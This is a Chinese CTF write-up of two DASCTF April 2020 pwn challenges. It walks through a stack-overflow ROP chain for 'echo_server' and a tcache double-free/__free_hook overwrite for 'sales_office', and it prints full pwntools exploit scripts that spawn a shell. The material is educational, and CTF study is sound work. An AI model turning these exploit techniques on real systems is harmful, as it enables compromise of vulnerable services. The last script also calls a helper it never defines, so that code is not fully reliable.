2020 DASCTF 四月赛pwn


安恒的月赛,pwn题似乎看起来还是基础,无奈还是太菜,get不到做题的点只能赛后复现一下这样子

If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

echo_server

输入在栈上,且输入长度可控,明显的栈溢出。

没用canary保护,直接构造ROP链,但是在通过printf函数泄露libc时函数执行过程中会出现段错误。不过可以直接让程序跳转到main函数中的printf函数处,人为的在设置rdi的值进而泄露libc。

这里选用 0x000000000040071F 处的call printf,即提示我们输入name size对应的printf,之后输入对应大小的size,构造ROP链完成攻击。

注意: 因为我们让程序跳回到main函数中执行,所以栈帧并未销毁,再使用原来的栈帧时会出现段错误,所以这里需要在泄露libc的同时做栈迁移,为后续的ROP链做准备

此外,因为原题目给了 libc.so.6, 所以这里也可以直接使用 one_gadget 获取shell

exploit

泄露read地址

payload = 'A'*0x80
payload += flat([bss, pop_rdi, elf.got['read'], 0x4006F3])
p.send(payload)

p.recvuntil('A'*0x80)
read_addr = u64(p.recv()[3:].ljust(8,'\x00'))
log.success('read_addr = %#x',read_addr)

通过LibcSearcher计算得到system、/bin/sh地址,并构造rop链获得shell

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.info("system_addr = %#x, binsh = %#x"%(system_addr,binsh))

p.sendline(str(0x100))

p.recvuntil('?')
payload = 'A'*(0x80+8)
payload += flat([ret, pop_rdi, binsh, system_addr,0xabcd])
p.send(payload)
sleep(0.1)
p.interactive()

通过给定的libc计算one_gadget地址获取shell(当然也可以计算system、/bin/sh)

libc_base = read_addr - libc.sym['read']
one_gadgets = libc_base + one_gadget
log.success("one_gadget = %#x",one_gadgets)
p.sendline(str(0x100))
payload = 'A'*(0x80+8)
payload += flat([ret,one_gadgets])
p.send(payload)
sleep(0.1)
p.interactive()

完整脚本

from pwn import *
from LibcSearcher import *
context.arch = 'amd64'

p = process('./test')
elf = ELF('./test',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

p.recvuntil(':')
p.sendline(str(0x100))
p.recvuntil('?')

bss = 0x601068 + 0x800
pop_rdi = 0x400823
ret = 0x40055e
one_gadget = 0x4526a
# execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

payload = 'A'*0x80
payload += flat([bss, pop_rdi, elf.got['read'], 0x4006F3])
p.send(payload)

p.recvuntil('A'*0x80)
read_addr = u64(p.recv()[3:].ljust(8,'\x00'))
log.success('read_addr = %#x',read_addr)

def way1():
    libc = LibcSearcher('read',read_addr)
    libc_base = read_addr - libc.dump('read')
    system_addr = libc_base + libc.dump('system')
    binsh = libc_base + libc.dump('str_bin_sh')
    log.info("system_addr = %#x, binsh = %#x"%(system_addr,binsh))

    p.sendline(str(0x100))

    p.recvuntil('?')
    payload = 'A'*(0x80+8)
    payload += flat([ret, pop_rdi, binsh, system_addr,0xabcd])
    p.send(payload)
    sleep(0.1)
    p.interactive()

def way2():
    libc_base = read_addr - libc.sym['read']
    one_gadgets = libc_base + one_gadget
    log.success("one_gadget = %#x",one_gadgets)
    p.sendline(str(0x100))
    payload = 'A'*(0x80+8)
    payload += flat([ret,one_gadgets])
    p.send(payload)
    sleep(0.1)
    p.interactive()

way2()
# way1()

sales_office

这到题目给了两个环境,即 glibc-2.27 和 glibc-2.29

功能分析

菜单类型的题目,四个功能选项,但是编辑内容的功能项并不能编辑内容,所以实际上有用的功能只有三个:

  • buy,申请堆块并写入指定内容,这里大小可控,但是不能大于0x60。此外,每申请一次实际上会申请两个堆块,一个大小固定为0x10,用作存贮用户实际上申请的堆块地址;另一个即用户指定大小的堆块。这里需要注意的是,写入堆块内容时是通过0x10的堆块中存储的地址操作的,并不是对malloc返回的地址,也就是说如果0x10的堆块内容被修改,那么实际上写入的内容就会写入到修改的地址所指向的位置
 if ( num > 12 )
    puts("You have no money.");
  v0 = num;
  area[v0] = (void **)malloc(0x10uLL);
  puts("Please input the size of your house:");
  v3 = read_int("Please input the size of your house:");
  if ( v3 > 96 )
    return puts("You can't afford it.");
  if ( v3 < 0 )
    return puts("?");
  *((_DWORD *)area[num] + 2) = v3;
  v2 = area[num];
  *v2 = malloc(v3);
  puts("please decorate your house:");
  read(0, *area[num], v3);
  puts("Done!");
  return num++ + 1;
  • show,输出对应堆块的内容,注意这里是通过固定大小的堆块来获取用户申请的堆块的内容的
  puts("index:");
  v1 = read_int("index:");
  if ( area[v1] )
  {
    puts("house:");
    puts((const char *)*area[v1]);
  }
  return puts("Done!");
  • sell,删除堆块,每个index对应两个堆块,释放时指针未置零,产生悬挂指针
  puts("index:");
  v1 = read_int("index:");
  if ( v1 < 0 || v1 > 12 )
    exit(0);
  if ( area[v1] )
  {
    free(*area[v1]);
    free(area[v1]);
  }
  return puts("Done!");

glibc-2.27

利用思路:

  • 通过UAF泄露heap_base地址
  • 通过UAF以及得到的heap_base,泄露libc
  • 修改free_hook为system,拿到shell

泄露堆基址

buy(0x10,'A') # id0
buy(0x10,'B') # id1
buy(0x10,'C') # id2
buy(0x10,'D') # id3
sell(1)
sell(0)
sell(0)

# dbg()
# pwndbg> x/16g 0x1c18250
# 0x1c18250:    0x0000000000000000  0x0000000000000021
# 0x1c18260:    0x0000000001c18280  0x0000000000000010
# 0x1c18270:    0x0000000000000000  0x0000000000000021 <-- id0
# 0x1c18280:    0x0000000001c18260  0x0000000000000000
# 0x1c18290:    0x0000000000000000  0x0000000000000021
# 0x1c182a0:    0x0000000001c182c0  0x0000000000000010
# 0x1c182b0:    0x0000000000000000  0x0000000000000021 <--id1

通过两次释放id0,使其fd指向堆上的地址,然后通过固定偏移计算出堆基址:

heap_base = uu64(show(0)) - 0x260
leak("heap_base",heap_base)

之后再次申请一个大小为0x10的堆块,此时会分配到 id0的位置,但是id0的位置依旧为空闲状态

buy(0x10,p64(heap_base+0x2a0)) # id4
# addr                prev                size                 status              fd                bk
# 0x104d000           0x0                 0x250                Used                None              None
# 0x104d250           0x0                 0x20                 Freed          0x104d280              None
# 0x104d270           0x0                 0x20                 Freed          0x104d2a0              None <--id0
# 0x104d290           0x0                 0x20                 Freed          0x104d2c0              None
# 0x104d2b0           0x0                 0x20                 Freed                0x0              None <--id1
# 0x104d2d0           0x0                 0x20                 Used                None              None
# 0x104d2f0           0x0                 0x20                 Used                None              None
# 0x104d310

将id0对应的fd指针修改为指向id1的堆块对应的content(fd),然后就构成单链表:id0_pre ->id0 ->id1_pre ->id1,此时再申请一个大小不为0x10的堆块,用作申请掉 id0_pre

buy(0x20,'FFFFF') # id5
# addr                prev                size                 status              fd                bk
# 0x21b0000           0x0                 0x250                Used                None              None
# 0x21b0250           0x0                 0x20                 Used                None              None
# 0x21b0270           0x0                 0x20                 Freed          0x21b02a0              None <--id0
# 0x21b0290           0x0                 0x20                 Freed          0x21b02c0              None
# 0x21b02b0           0x0                 0x20                 Freed                0x0              None <--id1
# 0x21b02d0           0x0                 0x20                 Used                None              None
# 0x21b02f0           0x0                 0x20                 Used                None              None
# 0x21b0310           0x0                 0x20                 Used                None              None
# 0x21b0330           0x0                 0x20                 Used                None              None
# 0x21b0350           0x0                 0x30                 Used

之后再申请堆块时,我们输入的内容就位于 id1_pre,前面提到,程序打印堆块内容时是通过前一个大小为0x10的堆块实现的,所以这里再申请堆块时,写入某个函数的got表地址,就可以通过show泄露libc

buy(0x10,p64(elf.got['read'])) # id6
# addr                prev                size                 status              fd                bk
# 0x1da6000           0x0                 0x250                Used                None              None
# 0x1da6250           0x0                 0x20                 Used                None              None
# 0x1da6270           0x0                 0x20                 Used                None              None <--id0
# 0x1da6290           0x0                 0x20                 Used                None              None
# 0x1da62b0           0x0                 0x20                 Freed                0x0              None <--id1
# 0x1da62d0           0x0                 0x20                 Used                None              None
# 0x1da62f0           0x0                 0x20                 Used                None              None
# 0x1da6310           0x0                 0x20                 Used                None              None
# 0x1da6330           0x0                 0x20                 Used                None              None
# 0x1da6350           0x0                 0x30                 Used

read_addr = uu64(show(1))
leak("read_addr",read_addr)

得到 read_addr 之后通过给定的libc计算free_hook、system的地址:

system_addr = read_addr - (libc.sym['read'] - libc.sym['system'])
leak("system_addr",system_addr)

free_hook = read_addr - (libc.sym['read'] - libc.sym['__free_hook'])
leak("free_hook",free_hook)

如法炮制,通过两次释放id3,得到一个单链表id3_pre ->id3 ->id3_pre ->id3,之后申请一个大小为0x10的堆块,将id3的内容修改为free_hook的地址,此时单链表变为id3_pre->id3


buy(0x10,p64(free_hook)) # id7
# addr                prev                size                 status              fd                bk
# ......
# 0x183a310           0x0                 0x20                 Freed          0x183a340              None
# 0x183a330           0x0                 0x20                 Freed     0x7fe0e4c078c8              None <id3
# 0x183a350           0x0                 0x30                 Used

紧接着申请一个大小不为0x10的堆块,写入字符串’/bin/sh\x00’,此时单链表变为id3->0x0,并且id的内容为free_hook的地址。如果此时再申请一个堆块,并写入system的地址,那么free_hook地址对应的位置就会被修改为system的地址,进而拿到shell

buy(0x10,p64(system_addr))
# pwndbg> x/16g 0x885330
# 0x885330: 0x0000000000000000  0x0000000000000021
# 0x885340: 0x00007f24932018c8  0x0000000000000010
# 0x885350: 0x0000000000000000  0x0000000000000031
# 0x885360: 0x0000004646464646  0x0000000000000000
# 0x885370: 0x0000000000000000  0x0000000000000000
# 0x885380: 0x0000000000000000  0x0000000000000031
# 0x885390: 0x0068732f6e69622f  0x0000000000000000
# 0x8853a0: 0x0000000000000000  0x0000000000000000
# pwndbg> x/16g 0x00007f24932018c8
# 0x7f24932018c8 <__free_hook>: 0x00007f2492ea0c47  0x0000000000000000
# 0x7f24932018d8 <next_to_use>: 0x0000000000000000  0x0000000000000000

exp

from pwn import *
context.arch='amd64'
context.log_level='DEBUG'

# nop@nop-pwn:~/Desktop$ patchelf --set-interpreter /home/nop/libs/2.27/glibc-2.27/64/lib/ld-2.27.so sales_office
# nop@nop-pwn:~/Desktop$ patchelf --set-rpath /home/nop/libs/2.27/glibc-2.27/64/lib/ sales_office


p = process('./sales_office')
elf = ELF('./sales_office',checksec=False)
libc = ELF('/home/nop/libs/2.27/glibc-2.27/64/lib/libc.so.6',checksec=False)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def buy(size,content):
    ru("choice:")
    s(1)
    ru("Please input the size of your house:")
    s(size)
    ru("please decorate your house:")
    s(content)

def show(index):
    ru("choice:")
    s(3)
    ru("index:")
    s(index)
    ru("house:")
    ru('\n')
    data = ru('\n')
    return data

def sell(index):
    ru("choice:")
    s(4)
    ru("index:")
    s(index)

def dbg():
    gdb.attach(p)
    pause()

buy(0x10,'A') # id0
buy(0x10,'B') # id1
buy(0x10,'C') # id2
buy(0x10,'D') # id3
sell(1)
sell(0)
sell(0)

heap_base = uu64(show(0)) - 0x260
leak("heap_base",heap_base)

buy(0x10,p64(heap_base+0x2a0)) # id4

buy(0x20,'FFFFF') # id5

buy(0x10,p64(elf.got['read'])) # id6

read_addr = uu64(show(1))
leak("read_addr",read_addr)

system_addr = read_addr - (libc.sym['read'] - libc.sym['system'])
leak("system_addr",system_addr)

free_hook = read_addr - (libc.sym['read'] - libc.sym['__free_hook'])
leak("free_hook",free_hook)

sell(3)
sell(3)

buy(0x10,p64(free_hook)) # id7

buy(0x20,'/bin/sh\x00') #id8

buy(0x10,p64(system_addr))

sell(8)
itr()

另一种思路

大致过程如下:

  1. tcache下的double free,然后利用UAF泄露libc
  2. 如法炮制,double free之后tcache poisoning实现任意地址写
  3. 修改free_hook拿到shell

申请两个个chunk,一个用于任意地址读,第二个用作任意地址写:

buy(0x10,0x10*'a') # id0
buy(0x10,0x10*'b') # id1

然后泄露libc:

sell(0)
sell(0)

buy(0x20,'AAAA') # id0
buy(0x10, p64(ELF('./pwn',checksec=False).got['read']))
read_addr = uu64(show(0))
leak('read_addr',read_addr)

两次释放:tcache: dt_0 -> id_0 -> dt_0 -> id_0

然申请一个0x20大小的堆块:tcache: dt_0 -> id_0 -> dt_0

之后申请一个0x10的堆块: tcache: dt_0,并且此时,dt_0 为新的堆块的“索引块”,id_0则为新的堆块的“数据块”,此时我们写入了read的got表地址,当使用show(0)时,就实际上输出的是read@got指向的地址即内存地址。通过这种方式,就可以直接泄露libc了

之后利用id1完成任意地址写,过程与读类似:

sell(1)
sell(1)

buy(0x10, p64(free_hook)) # id3
buy(0x20,'/bin/sh\x00') # id4
# pause()
buy(0x10, p64(system_addr)) # id5
# pause()

第一次申请:tcache: dt_1 -> id_1, 此时dt_1写入了free_hook的地址,即修改了next指针,即dt_1对应的堆块分配之后,再次分配时就会分配到free_hook

第二次申请:tcache: dt_1,这时id_1变成了新的堆块(0x20)的“索引块”

第三次申请:得到的堆块的“索引块”就变成了id_1,而“数据块就分配到了free_hook,所以此时写入system地址实际上写到了free_hook处

之后释放堆块的操作,传入的指针指向的值是”/bin/sh\x00”,所以此时实际执行的是system("/bin/sh\x00"),成功拿到shell

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

sl      = lambda data               :p.sendline(str(data))
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def buy(size,content):
    ru("choice:")
    s(1)
    ru("Please input the size of your house:")
    s(size)
    ru("please decorate your house:")
    s(content)

def show(index):
    ru("choice:")
    s(3)
    ru("index:")
    s(index)
    ru("house:")
    ru('\n')
    data = ru('\n')
    return data

def sell(index):
    ru("choice:")
    s(4)
    ru("index:")
    s(index)

p = process('./pwn')
libc = ELF('./libc.so.6',checksec=False)


buy(0x10,0x10*'a') # id0
buy(0x10,0x10*'b') # id1

sell(0)
sell(0)

buy(0x20,'AAAA')
buy(0x10, p64(ELF('./pwn',checksec=False).got['read']))
read_addr = uu64(show(0))
leak('read_addr',read_addr)
# pause()

libc_base = read_addr - libc.sym['read']
leak('libc_base',libc_base)
system_addr = libc_base + libc.sym['system']
leak('system',system_addr)
free_hook = libc_base + libc.sym['__free_hook']
leak('free_hook',free_hook)
# pause()

sell(1)
sell(1)

buy(0x10, p64(free_hook)) # id3
buy(0x20,'/bin/sh\x00') # id4
# pause()
buy(0x10, p64(system_addr)) # id5
# pause()

sell(4)
itr()